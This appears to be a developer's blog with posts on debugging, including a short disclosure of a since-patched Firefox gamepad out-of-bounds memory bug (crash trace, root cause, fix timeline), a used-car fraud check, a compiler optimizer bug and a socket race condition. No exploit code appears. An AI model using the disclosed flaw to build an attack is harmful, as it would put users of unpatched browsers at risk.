After enabling page heap (gflags.exe /p /enable firefox.exe /full), which inserts inaccessible memory page after each heap buffer, the first buffer overflow was caught. I got:
Unhandled exception at 0x0FB2759D (xul.dll) in firefox.exe: 0xC0000005: Access violation reading location 0xABA8F000.
Faulty code: :
  Gamepad::SetAxis(uint32_t aAxis, double aValue)   {     MOZ_ASSERT(aAxis < mAxes.Length()); -->  if (mAxes[aAxis] != aValue) { -->    mAxes[aAxis] = aValue;       GamepadBinding::ClearCachedAxesValue(this);     }   }
Stack Trace:
> xul.dll!mozilla::dom::Gamepad::SetAxis(unsigned int aAxis, double aValue) Line 67 C++ xul.dll!mozilla::dom::GamepadService::NewAxisMoveEvent(unsigned int aIndex, unsigned int aAxis, double aValue) Line 271 C++ xul.dll!`anonymous namespace'::GamepadEvent::Run() Line 278 C++ xul.dll!nsThread::ProcessNextEvent(bool mayWait, bool * result) Line 715 C++ xul.dll!NS_ProcessNextEvent(nsIThread * thread, bool mayWait) Line 263 C++ xul.dll!mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate * aDelegate) Line 95 C++ xul.dll!MessageLoop::RunHandler() Line 223 C++ xul.dll!MessageLoop::Run() Line 197 C++ xul.dll!nsBaseAppShell::Run() Line 166 C++ xul.dll!nsAppShell::Run() Line 188 C++ xul.dll!nsAppStartup::Run() Line 279 C++ xul.dll!XREMain::XRE_mainRun() Line 4019 C++ xul.dll!NS_TableDrivenQI(void * aThis, const nsID & aIID, void * * aInstancePtr, const QITableEntry * entries) Line 17 C++ xul.dll!nsComponentManagerImpl::QueryInterface(const nsID & aIID, void * * aInstancePtr) Line 823 C++ xul.dll!nsQueryInterface::operator()(const nsID & aIID, void * * answer) Line 19 C++ xul.dll!nsCOMPtr_base::assign_from_qi(const nsQueryInterface qi, const nsID & iid) Line 56 C++
The root cause is that the gamepad code was based on a wrong assumption about axe index. The code assumes that the axes are 0..numAxes, but the axis indices may actually be higher than numAxes because of Devices can present non-contiguous axes.  So it got a out of bound write in Gamepad::SetAxis().
Timeline:
2014-05-17. This bug was reported to Mozilla as Bug 1011859  .
2014-05-22. Mozilla developer fixed this bug in Firefox 30 and Firefox 31.
2014-06-10. Mozilla published Advisory MFSA 2014-54.
0 notes
loobeny · 10 years ago
Text
How damaged vehicle is sold
Look at this model year 2012 vehicle listed on trademe (and autobase):
Tumblr media
Mileage is damn low, only about 5k kms.
Looks like new, slightly lower price. And it's a fresh import from Japan as they stated in the description:
"All our cars are carefully handpicked by our staff in Japan and locally to ensure we sell nothing but the best. "
Sounds like a very good deal, as the dealer's name " 0800 BEST DEAL CARS ".
However, if you look carefully at the pictures, you may find out that it's actually not a Japna import model (there are a lot of differences between Japan module and NZ for this car, can write a separate blog about it).
Fortunately, the dealer also include a Consumer Information Notice sheet in the photos:
Tumblr media
Note that the “Imported as damaged vehicle” option was  "No”.
The VIN number is  JF1GP7KC5CG015607.
Search this VIN in carjam, the car was already registered (plate GMW875 ) instead of a fresh import:
Tumblr media
Looking further in the carjame report. we can see it’s actually a NZ new vehicle:
Tumblr media
And, it was written off by insurer!
So, a written off damaged vehicle was listed on sale on trade me, not only not mentioning the damage, but also pretend to be a fresh import from Japan (people may not check car jam report for Japan import as it has no history in NZ). That’s how damaged vehicle is sold.
Actually I have seen quite a few this kind listings in trade me recently, some are damaged imports from  Australia though. 
0 notes
loobeny · 12 years ago
Text
A funny bug with Visual Studio 2012
A few months ago,  I was working on a project of which the architecture looks like :
Tumblr media
    APP ( running on tablet/mobile ) instructs the Device (has internet access capability) to do some job.
All APP and Devices register to a local service Router (actually two Router instances to avoid single point of failure) which runs on local PC. 
The Router routes commands and responses between the APPs and Devices, and also collects debug logs from Device.
   (Actually this design did not go into production as we switched to a full cloud based solution and thus the local Router node was no longer necessary)
  At first, When I did  a few times (or just one time) of testing with Router release build, I noticed a few times of more logs (logs from Device) than the debug build. I did not go into it.
  One day when I did a demo test to a colleague of another team, some previously sent command was resent to the the Device, which caused the chaos of the processing (besides massive log volume).  Time to get to the bottom of it.
      I disabled the trace of the Device, and saw all previously sent commands got resent together with the current command,
i.e. When the Nth command was sent from APP to the Router, (N-1) previously messages got replay. Looks like all messages keeps cached in the Router and does not get deleted.
  What’s weird is, this problem does not exist in the debug build, which I mostly tested on.
    After adding some logs, I saw one std::stringstream data variable does not delete the already processed messages and the size kept growing.
    In the release build, the code block enclosed in the if condition ( if( last_pos != std::string::npos ) ) , which deletes already processed messages, does not get execute at all (the code has been simplified to illustrate the bug only):
   ------------------------------------------------------
    string buffer("header");     size_t start = 0;     size_t pos = buffer.find( 'e' );     size_t last_pos = std::string::npos;     while( pos != std::string::npos )     {         pos += 1;         last_pos = pos;         start = pos;         pos = buffer.find( 'e' , start);     }     if( last_pos != std::string::npos )     {         /// deletes already processed messages from the std::stringstream data variable
    }
   ------------------------------------------------------
A little bit unbelievable that the code in release build gets logically wrong behaviour, while debug build not.
    Looking at the disassembly, it explains.
    Disassembly of release build:
  ------------------------------------------------------
    size_t last_pos = std::string::npos;     while( pos != std::string::npos ) 012E135A cmp         eax,0FFFFFFFFh 012E135D jne         wmain+90h (012E1300h)         last_pos = pos; 012E135F mov         dword ptr [esp+14h],eax     }     if( last_pos != std::string::npos ) 012E1363 cmp         eax,eax 012E1365 je         wmain+105h (012E1375h)     {         cout << "It compiles correctly! last_pos="<<last_pos << endl;
---------------------------------------------------------
Looks like the Visual Studio 2012 compiler thought last_pos always equals to pos , thus eliminate last_pos to reduce redundancy. While pos is always std:: string::npos  when getting out of the while loop, so the if condition is always not satisfied.
      When I disable the optimization (the optimization of release build was set to Maximize Speed (/O2) by default, for debug build the optimization is disabled by default), the code generated looks good (last_pos and pos are distinct).
  It looks like it’s a bug with Visual Studio 2012’s code optimization,  setting the Optimization to Disabled (/Od) or Minimize Size (/O1) can work around it.
  BTW. I did a quick test with VS2010, it does not has this problem.
  I reported the bug to Microsoft and it had been confirmed by Microsoft Visual C++ Team. It would be fixed in VS 2013 RTM:
  http://connect.microsoft.com/VisualStudio/feedback/details/796248/a-bug-with-c-compiler-optimization-while-loop-visual-studio-2012
0 notes
loobeny · 12 years ago
Text
Playing with Multi-threading bug (2)
  When QA was doing test for the previous bug, a new problem was found.
On startup, when PC is under load, our customer premise system shows no interface (the link to server) available and it can not process any request.
  Our customer premise system is a multi process architecture (simplified):
  An process accepts and handles requests (these requests come from another process developed by business partner, but let's ignore it here), implement most of the business logics, let's call it App process;
Another process is responsible establishing connections to server, forwards the messages from App process to server and vice versa, let's call it Network process.
  App process <---TCP--> Network process <---TCP--> Server
     1)
To solve the issue, first we need to narrow down the problem. The first part that I looked at was the connection between the Network process and server.
I examined the logs generated by the Network process. The connection setup between the Network process and server is fine, because the log shows that the links are closed as idle after connected (I mentioned in previous blog that some third party server does not allow persistent connections):
     Line 103: 02:58:22.234375 W ...> ** - IDLE CLOSE (**)    Line 108: 02:58:22.234375 W ...> ** - IDLE CLOSE (*)    Line 115: 02:58:22.234375 W ...> ** - IDLE CLOSE (*)
So the problem resides on App process, or the interaction between App process and Network process.
   2) 
Dived into the code of App process to do a quick investigation of the status update mechanism of server interface.
The status is initialized as false(0). So when App process connected to Network process, the status is 0. But after connected, App process will send a status query message to Network process to get link status every 2 seconds . And calls a setting method update the status (only if the status is OK) when response message returns.
 3) 
Added debug log to that status setting method in App process, and QA reproduced it. But the added log could not be seen, so the server status in App process was never updated actually. 
However, from the point of view of App process, the TCP connection with Network process should have been connected successfully, otherwise it would attempt to reconnect.
The log of Network process showed that no accept event  occurred, which meant from Network process’s point of view there is no TCP connection between App process and Network process at all. 
Contradictory, so we need to look at it at a lower level to see what really happens.
 4)
 Used RawCap (right, Wireshark can not sniff the loopback traffic) to capture the loopback traffic between App process and Network process. Analyse the captured packets with Wireshark, filtered with expression “tcp.dstport == xx or tcp.srcport == xx” (Network process listen on port xx):
  155 02:12:58.077133 127.0.0.1 127.0.0.1 TCP 52 61169 > xx [SYN] Seq=0 Win=8192 Len=0 MSS=65495 WS=256 SACK_PERM=1
156 02:12:58.077133 127.0.0.1 127.0.0.1 TCP 52 xx > 61169 [SYN, ACK] Seq=0 Ack=1 Win=8192 Len=0 MSS=65495 WS=256 SACK_PERM=1
157 02:12:58.077133 127.0.0.1 127.0.0.1 TCP 40 61169 > xx [ACK] Seq=1 Ack=1 Win=8192 Len=0
158 02:12:58.088133 127.0.0.1 127.0.0.1 TCP 84 61169 > xx [PSH, ACK] Seq=1 Ack=1 Win=8192 Len=44
159 02:12:58.088133 127.0.0.1 127.0.0.1 TCP 40 xx > 61169 [ACK] Seq=1 Ack=45 Win=7936 Len=0
173 02:12:59.436133 127.0.0.1 127.0.0.1 TCP 178 61169 > xx [PSH, ACK] Seq=45 Ack=1 Win=8192 Len=138
174 02:12:59.436133 127.0.0.1 127.0.0.1 TCP 40 xx > 61169 [ACK] Seq=1 Ack=183 Win=7936 Len=0
175 02:12:59.463133 127.0.0.1 127.0.0.1 TCP 219 61169 > xx [PSH, ACK] Seq=183 Ack=1 Win=8192 Len=179
176 02:12:59.463133 127.0.0.1 127.0.0.1 TCP 40 xx > 61169 [ACK] Seq=1 Ack=362 Win=7680 Len=0
188 02:13:00.188133 127.0.0.1 127.0.0.1 TCP 84 61169 > xx [PSH, ACK] Seq=362 Ack=1 Win=8192 Len=44
189 02:13:00.188133 127.0.0.1 127.0.0.1 TCP 40 xx > 61169 [ACK] Seq=1 Ack=406 Win=7680 Len=0
227 02:13:02.291133 127.0.0.1 127.0.0.1 TCP 84 61169 > xx [PSH, ACK] Seq=406 Ack=1 Win=8192 Len=44
228 02:13:02.291133 127.0.0.1 127.0.0.1 TCP 40 xx > 61169 [ACK] Seq=1 Ack=450 Win=7680 Len=0
259 02:13:04.394133 127.0.0.1 127.0.0.1 TCP 84 61169 > xx [PSH, ACK] Seq=450 Ack=1 Win=8192 Len=44
260 02:13:04.394133 127.0.0.1 127.0.0.1 TCP 40 xx > 61169 [ACK] Seq=1 Ack=494 Win=7680 Len=0
293 02:13:06.497133 127.0.0.1 127.0.0.1 TCP 84 61169 > xx [PSH, ACK] Seq=494 Ack=1 Win=8192 Len=44
294 02:13:06.497133 127.0.0.1 127.0.0.1 TCP 40xx  > 61169 [ACK] Seq=1 Ack=538 Win=7424 Len=0
  A TCP connection did exist between App process and someone’s port xx. Handshakes succeeded. And App process always sent 44 byte data to the opponent every 2 seconds, but the opponent did not reply any data, just ack with sequence number 1. At this point, I can only imagine several possibilities: a) App process connected with process other than Network process, that process of course did not know how to respond App process’ get status msg. b) The connection somehow terminated at the TCP level, instead of going thru the process. 
5)
 I did an experiment with the accept code blocked in Network process, to see what would happen if Network process does not accept the connect request from App process. Got the same TCP sequence:
69 05:58:57.548361 127.0.0.1 127.0.0.1 TCP 52 61533 > xx [SYN] Seq=0 Win=8192 Len=0 MSS=65495 WS=256 SACK_PERM=1
70 05:58:57.548361 127.0.0.1 127.0.0.1 TCP 40 xx > 61533 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
75 05:58:58.042916 127.0.0.1 127.0.0.1 TCP 52 61533 > xx [SYN] Seq=0 Win=8192 Len=0 MSS=65495 WS=256 SACK_PERM=1
76 05:58:58.042916 127.0.0.1 127.0.0.1 TCP 40 xx > 61533 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
85 05:58:58.542466 127.0.0.1 127.0.0.1 TCP 48 61533 > xx [SYN] Seq=0 Win=8192 Len=0 MSS=65495 SACK_PERM=1
86 05:58:58.542466 127.0.0.1 127.0.0.1 TCP 40 xx > 61533 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
189 05:59:08.648362 127.0.0.1 127.0.0.1 TCP 52 61550 > xx [SYN] Seq=0 Win=8192 Len=0 MSS=65495 WS=256 SACK_PERM=1
190 05:59:08.648362 127.0.0.1 127.0.0.1 TCP 52 xx > 61550 [SYN, ACK] Seq=0 Ack=1 Win=8192 Len=0 MSS=65495 WS=256 SACK_PERM=1
191 05:59:08.648362 127.0.0.1 127.0.0.1 TCP 40 61550 > xx [ACK] Seq=1 Ack=1 Win=8192 Len=0
198 05:59:09.549550 127.0.0.1 127.0.0.1 TCP 84 61550 > xx [PSH, ACK] Seq=1 Ack=1 Win=8192 Len=44
199 05:59:09.549550 127.0.0.1 127.0.0.1 TCP 40 xx > 61550 [ACK] Seq=1 Ack=45 Win=7936 Len=0
222 05:59:11.650658 127.0.0.1 127.0.0.1 TCP 84 61550 > xx [PSH, ACK] Seq=45 Ack=1 Win=8192 Len=44
223 05:59:11.650658 127.0.0.1 127.0.0.1 TCP 40 xx > 61550 [ACK] Seq=1 Ack=89 Win=7936 Len=0
244 05:59:13.751765 127.0.0.1 127.0.0.1 TCP 84 61550 > xx [PSH, ACK] Seq=89 Ack=1 Win=8192 Len=44
245 05:59:13.751765 127.0.0.1 127.0.0.1 TCP 40 xx > 61550 [ACK] Seq=1 Ack=133 Win=7936 Len=0
266 05:59:15.852872 127.0.0.1 127.0.0.1 TCP 84 61550 > xx [PSH, ACK] Seq=133 Ack=1 Win=8192 Len=44
267 05:59:15.852872 127.0.0.1 127.0.0.1 TCP 40 xx > 61550 [ACK] Seq=1 Ack=177 Win=7936 Len=0
So basically I can assume it’s Network process not accepting the connect request causing the problem at this point.
6) 
More debug log added (and QA reproduced that, cause I could not reproduce it on my machine), and found that Network process could receive the readable event of the listen socket, but the event was somehow ignored.
    Line 90: 03:22:08.906250 W 00161788> Socket 932 created
    Line 96: 03:22:09.031250 W 00161788> Listening on Socket 932
    Line 250: 03:22:17.671875 W 00168450> readable socket list:932,
7) 
More debug log added, found some readable socket did not have corresponding Socket entry in the internal socket table:
21:34:01.181500 W 00176268> Socket 972 not matched ...
The internal socket table was in a mess, some slot was mistakenly erased, and this is highly possible with multiple threads writing to it.
8) 
With more debug log added, this round of reproduce finally reveal the root cause:
01:47:01.796875  Socket 968 created
01:47:01.796875  Attach: i=0.
01:47:01.796875  Socket 952 created
01:47:01.796875  Attach:  i=0.
01:47:01.796875  Socket 964 created
01:47:01.796875  Attach: i=0.
01:47:01.796875  Socket 960 created
01:47:01.796875  Attach:  i=0.
01:47:01.796875  Socket 956 created
01:47:01.796875  Attach:  i=0.
Multiple sockets stored to the same slot (i=0)of the internal table, So only the last one got stored, all previous ones were leaked.
Each connection create/setup was execute in distinct thread, but the code to find the available slot has no protection, so multiple threads see the same slot (i=0) as empty.. 
9) 
Reverse the investigation process, the ins and outs are very clear:
a) The main thread that create the listen socket (on port xx), stored the socket pointer in internal socket table’s slot 0 Socket[0]. 
b) Some IO thread  that create socket to connect server saw slot 0 was still available, so overwritten that slot.
c) App process attempted to setup connection with Network process port xx, 
d) OS’s TCP layer finished  the handshake of  the TCP connection.
e) Network process polled the listen socket’s FD and get the readable event.
f) Looked it up in the socket table but cannot find a match entry. So Network process did not accept the connection.
g) Removed the listen socket’s FD from the read FD set, and so the listen socket would not be polled (by calling select()) again. 
h) So, although App process sent get status request every 2s, but the msg was just terminated in TCP layer, Network process never knows that, so App process got no real reply.
i) Without any update, App process’ link status is kept as “link failure”.
  (note. for confidential purpose, some of the details are hidden. I tried to explain the technical aspect in a general approach )
0 notes
loobeny · 12 years ago
Text
Playing with Multi-threading bug (1)
In some customer site, after machine reboot, the connections to third party partner's server did not come up, while to connections to our own server was OK.
If the links are failed for network or any kind of reason, it must be retested/reattempted after some kind of timeout.
QA team did the initial investigation first and they managed to reproduce it in local environment intermittently (yeah, threading race condition always happens intermittently, sometimes more frequently on some heavy load condition). Then I was in.
I analyzed the existing logs, could not get any conclusion based on it. So I added more debug logs in the code, and QA re-run it... Finally see the root cause.
These two types of links are managed differently although they share some basic socket representations. 
The interface of this third party server has no application level keep alive (heartbeat) protocol, it all relies on the TCP level status to manage the connections. It also inhabit persistent connection, connections can only establish on demand when request is to be sent. When it's idle (no request to send), we need to close the connection. So there is status called something like "Idle Closed" for it, which means it's already closed  because of idle but it's believe to be healthy.
The original design favors  asynchronous. For the link to our own server, a connection is setup as follows: One thread invokes connect() on a non-blocking socket (and mark the link status as Connecting), then another thread calls select() against all sockets in Connecting status to poll writable event. If writable event is got, the link is marked Connected.
Maybe partly because of the non-persistent nature of the partner links, or for the ease of programming (yeah, the code flow looks much simpler that after one single method call the connection either established or failed), links to the partner server are connected synchronously. One method named ****ConnectSync() is called to connect synchronously in one thread. However,  the system call it used is not synchronous, rather, it invoke connect() on a non-blocking socket (and mark the link as Connecting), but then block on a select() call. ****ConnectSync() returns after select() gets writable event or timeout. This makes ****ConnectSync() looks like synchronous.
 If Status is set as Connecting in ****ConnectSync(), another thread  may call select() against the same socket to poll writable event. 
 With two threads call select() against the same socket, only one of them will get the writable event, which indicates  the connection is established successfully . (on Windows platform)
 So one thread marks the link as connected and idle closed it, while the other thread considers the connect failed  so mark the link not Available.
If the link is idle closed and not Available, then it will neither be tested again (idle closed means the link is good) nor selected/checked when request arrives (it's not Available so it would not be selected). So the links to third party partner's server failed forever because it will never be retried again. 
The fix is obvious...
0 notes
loobeny · 13 years ago
Photo
Tumblr media
"Divide and Conquer" ?  See this HP advertisement in bus stop. Was it a programmer writing the script?
2 notes · View notes
loobeny · 13 years ago
Video
youtube
Objective-C, a c super set with a bunch of interesting features: single inheritance, dynamic binding, reference couting, introspection, description etc.
2. Objective-C and Foundation Framework (by StanfordUniversity)
0 notes
loobeny · 13 years ago
Photo
Tumblr media
Batman is not only a warrior, but also a genius programmer! He developed a patch himself for the stablization software of the autopilot system.  
In the end of The Dark Knight Rises, Locius Fox talked with their engineers:
Fox: Why are we even worrying about stabilization software?
Engineer: This entire autopilot system is completely obsolete.
Fox:Please, I just need to know what I could've done to fix it.
Engineer: But Mr. Fox it's already been fixed, software patch, six months ago.
Fox:Check The ID on the patch.
Engineer: Bruce Wayne.
1 note · View note
loobeny · 13 years ago
Video
youtube
No Wonder Google has diverless car.
Larry Page was thinking about solving transportion problem when he was at Michigan:
" I wanted to build a personal rapid transit system on campus to replace the buses. It was a futuristic way of solving our transportation problem. I still think a lot about transportation – you never loose a dream, it just incubates as a hobby. Many things that people labor hard to do now, like cooking, cleaning, and driving will require much less human time in the future. "
I like this slogen "healthy disregard for the impossible".
Larry Page's University of Michigan commencement address (by Google)
0 notes
loobeny · 13 years ago
Photo
Tumblr media
In the day I leaving China, my ex-team in YY insisted to invite me for a meal. Felt warm. Thanks for the love and esteem of the bros!
0 notes
loobeny · 13 years ago
Photo
Tumblr media
The last karaoke before I left China, in Partyworld (Ouzhuang branch), Guangzhou. Thanks for the hospitality of the two new couples Zhangs and Mus.
0 notes
loobeny · 13 years ago
Text
How to avoid memory leak
Memory leak is one of the biggest headaches of C++ programming. And sometimes it's the reason/excuse of not using C++ in their technology stack.
There is no definitive counter measure to memory leak. Here I come up with a few best effort methods:
1. Developers be memory-aware.
2. State clearly the ownership (including ownership transfer) of objects allocated from heap in documents or comments.
3. Consider memory cleanup in error cases (including exception handling), where most likely memory leak occurs.
4. Run valgrind during test phase to detect as many leaks as possible.
5. Utilize smart pointers.
6. If not to utilize smart pointers, you may consider implement your own memory pool, which can count/monitor/manage the allocation/deallocation of objects.
...
0 notes
loobeny · 13 years ago
Photo
Tumblr media
Metaprogramming Ruby: Program Like the Ruby Pros
Nice reading in progress...
1 note · View note
loobeny · 13 years ago
Text
A lightweight asynchronous network programming library on Windows - CAsyncSocketEx
CAsyncSocketEx is a small library published on codeproject.com in 2003 by Tim Kosse(http://www.codeproject.com/KB/IP/casyncsocketex.aspx). It claimed to be a replacement and improvement of MFC's CAsyncSocket.
Regarding to asynchronous communicaiton, the model (or execution mode) of CAsyncSocketEx, is similar to the original CAsyncSocket of MFC. The asynchronous nature is not because of their implementation, rather, the core idea is to utilize the Windows interface WSAAsyncSelect().
WSAAsyncSelect(m_SocketData.hSocket,GetHelperWindowHandle(),m_SocketData.nSocketIndex+WM_SOCKETEX_NOTIFY, lEvent)
Invoke WSAAsyncSelect() for the sockets. Once there are network events (such as network data arrival, connection establishd etc.) for these sockets, Windows will post all these events to the message queues of the threads, the the callback of corresponding message executes. Thus realize the asynchronous porcessing of network IO.
It's overall architecture is as follows:
Tumblr media
When a thread create the first instance of CAsyncSocketEx, it will instantiate a CAsyncSocketExHelperWindow.  Only one CAsyncSocketExHelperWindow for each thread.
The m_spAsyncSocketExThreadDataList list is a static variable, it records the ID of all threads that create CAsyncSocketEx, the number of HelperWindow and CAsyncSocketEx created.
As it's asynchronous, it's also approprate to be used in single thread situation. You can do all the things in a single thread, rather than spawn a separate thread for network IO.  Of course one thread to cope with all processing has it's intrinsic limitation on some scenarios.
One major diffenrence of CAsyncSocketEx to MFC's CAsyncSocket is, CAsyncSocketEx improves the delivery of network events. In one CAsyncSocketExHelperWindow(associated with one thread), each socket(CAsyncSocketEx) is mapped to distinct ID. When message arrives at window CAsyncSocketExHelperWindow, it gets the corresponding socket(CAsyncSocketEx) directly by array access with index of the message ID, rather than search for ID in MFC's CAsyncSocket.
CAsyncSocketEx introduce the concept of Layer. You can insert several layers(CAsyncSocketExLayer) into CAsyncSocketEx, without any change of CAsyncSocketEx's external programming interface. When sending out, the data goes thru all the CAsyncSocketExLayer, then reach socket interface of Windows... when receiving, the reverse.
Tumblr media
With this flexible layer design, CAsyncSocketEx do a proxy layer by the way. You can easily support proxy server connection, by instantiating a CAsyncProxySocketLayer and add it to CAsyncSocketEx. This proxy layer supports both SOCKS and HTTP proxy.
Emule has utilized CAsyncSocketEx. So for how to use CAsyncSocketEx, you can look at the code of Emule for reference.
0 notes